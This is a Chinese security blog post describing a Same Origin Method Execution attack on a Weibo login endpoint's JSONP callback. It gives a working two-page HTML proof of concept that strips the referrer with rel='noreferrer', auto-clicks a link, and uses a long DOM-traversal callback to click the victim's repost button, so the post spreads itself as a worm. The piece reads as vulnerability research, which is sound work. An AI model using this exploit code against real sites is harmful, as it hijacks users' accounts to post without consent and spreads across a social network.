[+] Author:MagicBlue
[+] Team: NeSE security team
[+] From: https://magicbluech.github.io
[+] Create: 2017-02-06

起因

最近在研究新浪通行证的单点登录系统。发现了一个有意思的链接

利用

尝试了几个特殊字符想构建xss无果。于是想到了same origin method execute attack。因为这个域名是weibo.com。这是非常好利用的。利用点如下。微博存在一键转发一键关注等按钮。我们可以发一条很有吸引力的微博,诱惑别人去点。别人点我的链接就会触发攻击。会自动转发我的链接。这样就造成了蠕虫。其实SOME攻击可利用的地方很多。还是看场景。

但是有一个问题就是,此页面判断了refer。refer只能来自可信域名。尝试绕过无果。意外发现了当refer为空的时候会返回我们想要的结果。因为refer 会返回错误 但是不显示空白 我们依旧可利用 构造我们的callback

这个时候思路如下
1 找一个可信域下的302跳转。跳转到some利用页面。这样refer可信。成功利用
2 我们想办法去消除refer。感谢html5 a 标签的rel=”noreferrer” 可以使跳转不带有refer(:然后利用js自动点击a标签 做到和自动跳转一样的效果
3 利用iframe 也可以使用refer为空
我们采用第二种方法成本最低

POC

main.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16


<html>
<head>
<title>Main</title>
<meta charset="utf-8">
</head>
<body>
<a onclick="fuck()" target="_black" href="step.html">click here to see cool things.</a>
<script>
function fuck(){
window.location.href="自己的微博转发地址";
}
</script>
</body>
</html>
step.html
1
2
3
4
5
6
7
8
9
10
11

<a href="http://weibo.com/ajaxlogin.php?framelogin=1&callback=opener.window.document.body.firstElementChild.firstElementChild.firstElementChild.nextElementSibling.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.lastElementChild.lastElementChild.firstElementChild.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.lastElementChild.click" rel="noreferrer" id="fuck" >2333</a>
<script>
window.onload = function(){
function fuck(){
var a=document.getElementById('fuck');
a.click();
}
setTimeout(fuck,8000);
}
</script>

演示